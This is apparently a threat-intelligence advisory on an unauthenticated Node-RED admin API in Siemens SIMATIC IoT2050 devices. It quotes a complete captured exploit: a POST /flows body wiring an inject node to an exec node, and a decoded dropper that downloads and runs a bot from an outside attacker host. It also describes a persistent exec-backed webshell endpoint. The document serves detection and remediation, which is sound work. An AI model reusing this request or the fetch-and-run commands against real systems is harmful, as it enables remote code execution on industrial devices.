Overview
| Field | Value |
|---|---|
| CVE | CVE-2026-58115 |
| CVSS | 10.0 (Critical) on both 3.1 and 4.0 |
| Vulnerability type | Missing Authentication for Critical Function |
| Affected product | Siemens SIMATIC IoT2050 Advanced (article no. 6ES7647-0BA00-1YA2), Industrial OS with Node-RED installed, versions before V4.3.4.1 |
| Disclosed | 2026-08-11 (Siemens SSA-834709) |
| Exploitation observed | 2026-10-30 (VulnCheck canary) |
| Fix | Industrial OS V4.3.4.1 or later |
Node-RED is a flow-based programming tool built on Node.js. Users wire nodes together in a browser-based editor to build event-driven applications. It runs on everything from a Raspberry Pi to the cloud, and it's embedded in commercial ICS/OT products — including Siemens' SIMATIC IoT2050 Advanced.
The problem: Node-RED's editor and Admin API are not authenticated by default. Unless adminAuth is explicitly configured, anyone who can reach the HTTP interface can create and deploy flows. On the affected Siemens product, that setting shipped off, leaving an unauthenticated remote attacker able to execute arbitrary code with maximum privileges on the underlying server.
VulnCheck published a detection signature on October 27, 2026. Three days later, on October 30, it caught a live exploitation attempt on one of its canaries.
Why this counts as a vulnerability — no memory corruption, no trick
There's no buffer overflow or deserialization bug here. The exploit is built entirely out of two legitimate, built-in Node-RED node types:
-
injectnode — fires a message on a schedule, or once at startup. No human interaction needed. -
execnode — runs whatever command it receives directly in the OS shell.
Wire one to the other, and the flow executes a shell command the moment it's deployed, with no further interaction. Because both nodes are normal automation features, this kind of activity doesn't look like "abnormal behavior" to a typical WAF or EDR signature.
In other words, the root cause isn't a code defect — it's a missing authorization boundary: an unauthenticated client had access to a feature that can execute code.
Attack flow — one POST, three layers of encoding
VulnCheck researcher Patrick Garrity published the actual request captured by the canary. The attacker sent a single POST /flows from curl/8.5.0, and inside it were three nested layers: the flow definition, a shell wrapper, and the real dropper.
Layer 1 — the flow definition (the request body itself)
{"flows":[ {"id":"t","type":"tab"}, {"id":"inj","type":"inject","z":"t","once":true,"onceDelay":"1","wires":[["e"]]}, {"id":"e","type":"exec","z":"t","command":"echo <base64> | base64 -d | sh","addpay":false,"useSpawn":"false","wires":[[],[],[]]} ]} -
tab: an empty flow tab — just a container. -
inj(inject):once: true,onceDelay: "1"→ fires exactly once, one second after deployment. -
e(exec): wired toinj, carrying the actual shell command string incommand.
POST this JSON to /flows and Node-RED returns a normal deployment response (HTTP 200). That's exactly why the canary logged this as a successful exploit.
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 {"rev":"4662660a5924cc8f09736d32ca1b8d8728d8e69805e7d1e8c9efdbdffa3cf0f1"} Layer 2 — the shell wrapper inside the exec node
The exec node's command field looks like this:
echo <base64 string> | base64 -d | sh Wrapping the real download command in base64 keeps strings like wget or curl out of the plaintext request body — enough to defeat any filter that's just pattern-matching on the request content.
Layer 3 — what's actually inside, once decoded
Running base64 -d on the payload yields exactly three lines:
wget -q -O /dev/shm/.b http://85.215.73[.]250:8080/bot-linux-amd64 \ || curl -s -L http://85.215.73[.]250:8080/bot-linux-amd64 -o /dev/shm/.b chmod +x /dev/shm/.b (setsid /dev/shm/.b >/dev/null 2>&1 || nohup /dev/shm/.b >/dev/null 2>&1 &) Line by line:
-
wget ... || curl ...— trieswgetfirst, falls back tocurl. Minimal/embedded images often ship with only one of the two, so trying both improves the odds of success. The drop path,/dev/shm/.b, is worth noting:/dev/shmis a RAM-backed tmpfs, so nothing touches disk, and the leading dot hides the file from a plainls. The trade-off is that the binary disappears on reboot unless something else establishes persistence. -
chmod +x /dev/shm/.b— makes the downloaded binary executable. -
(setsid ... || nohup ... &)—setsidstarts a new session so the child process survives even if the Node-RED process that spawned it dies;nohupis the fallback wheresetsidisn't available. All output is discarded (>/dev/null 2>&1), and there's no success check or cleanup — fire once, silently, and move on.
VulnCheck did not retrieve the binary (bot-linux-amd64) itself, so there's no confirmation of whether it's a cryptominer, a DDoS bot, a reverse shell, or something else. The architecture suffix in the filename suggests other builds likely exist for other platforms.
Infrastructure — scanning and hosting are split
- Exploit source:
4.201.105.116— sits in Microsoft Azure's AS8075, geolocating to Brazil. The same address hit this Node-RED CVE 16 times between October 30 and November 1, and across VulnCheck's broader canary data it logged 125 hits against 8 different CVEs — Apache Solr (CVE-2019-17558), Camunda, Gitea, MLflow, Traefik, and Joomla, alongside Node-RED. Hitting old and new bugs across unrelated products is the signature of opportunistic mass scanning, not a targeted campaign. At least five distinct user agents were observed (curl, python-requests, Python-urllib, and browser strings among them), suggesting shared or rented infrastructure used by more than one operator. - Payload server:
85.215.73.250:8080— where the dropper binary is actually hosted. This host never made a request to the canary directly; it only shows up inside the decoded dropper command. In other words, the host that scans and exploits is a different machine from the one that serves the payload. - Later activity (November 1): the same source IP delivered a second dropper variant that fetches a staged shell script (
wget.sh) instead of the binary directly; a separate payload server (45.194.90.57:38472) serving a file saved as/tmp/.kworker— a name designed to mimic a kernel worker thread; and, in several requests, no downloader at all — instead, the flow exposed anhttp inendpoint (e.g./cmd) wired through a function node to anexecnode, letting the attacker run arbitrary commands later via a query parameter. Unlike the memory-resident bot, this kind of webshell survives a reboot.
Remediation
Siemens fixed this in V4.3.4.1. Given active exploitation, treat this as urgent.
- Priority one: Update Industrial OS to V4.3.4.1 or later.
- Immediately: Check whether the Node-RED admin interface is reachable from the internet or any untrusted network, and restrict access to the minimum needed.
- Configure
adminAuth: Explicitly set up authentication for the editor/Admin API — remember the default is no authentication at all. - Enable HTTPS for the admin interface.
- Remove Node-RED if it isn't actually needed in production — Siemens lists this as a valid mitigation.
- Check for indicators of compromise:
- Unfamiliar
execnodes or unexpectedhttp inendpoints (e.g./cmd) inflows.json/flows_<hostname>.json - Hidden files at
/dev/shm/.b,/tmp/.s,/tmp/.kworker - Unexplained flow deployment revision timestamps
- Unfamiliar


